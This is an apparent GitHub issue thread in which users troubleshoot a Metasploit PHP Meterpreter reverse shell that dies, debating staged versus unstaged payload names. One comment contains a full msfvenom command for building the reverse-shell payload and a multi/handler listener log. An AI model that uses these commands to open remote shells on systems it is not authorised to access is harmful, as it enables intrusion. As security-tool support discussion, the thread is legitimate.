Metasploit-framework: PHP Reverse Shell is not working

[AlistairXX]

Nicely explained

[jvoisin]

The comment shouldn't matter, and there is no need to close the opening <?php, the issue is elsewhere :/

[Rogdham]

Hello @DontFuckItUp, I believe the issue is because you used the payload php/meterpreter_reverse_tcp with msfvenom (unstaged payload), but specified the staged version php/meterpreter/reverse_tcp in msfconsole.

Notice that one has a _ between meterpreter and reverse while the other has a /…

Could you try and use the same version in both msfvenom and msfconsole (e.g. php/meterpreter/reverse_tcp in both cases)?

[ghost]

Hello,
i tested your recommendation with no luck. to be more detailed: i followed your directions:
Could you try and use the same version in both msfvenom and msfconsole (e.g. php/meterpreter/reverse_tcp in both cases)?

and as the result, the session dies
my full log:

root@klappse:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.14.11.92 LPORT=4449 -f raw > shell6.PHP
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1112 bytes

root@klappse:~# msfconsole


  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


       =[ metasploit v4.16.9-dev                          ]
+ -- --=[ 1687 exploits - 966 auxiliary - 299 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > set LHOST 10.14.11.92
LHOST => 10.14.11.92
msf exploit(handler) > set LPORT 4449
LPORT => 4449
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.14.11.92      yes       The listen address
   LPORT  4449             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 10.14.11.92:4449
msf exploit(handler) > [*] Sending stage (37514 bytes) to 10.14.11.91
[*] Meterpreter session 1 opened (10.14.11.92:4449 -> 10.14.11.91:45139) at 2017-10-09 12:44:22 +0200
[*] 10.14.11.91 - Meterpreter session 1 closed.  Reason: Died

[kawaxi]

I might be having a similar issue if not the same one!

[gaskinsus]

I'm seeing similar in v4.16.13-dev. Tcpdump shows syn packets on attacker machine with no response. Is in ctf environment so cannot get files.

[fsacer]

@wvu-r7 seems there wasn't a stable connectiuon/something blocking it so it's probably not a valid bug.

[Gilpw]

wrong payload (php/meterpreter/reverse_tcp), set (php/meterpreter_reverse_tcp)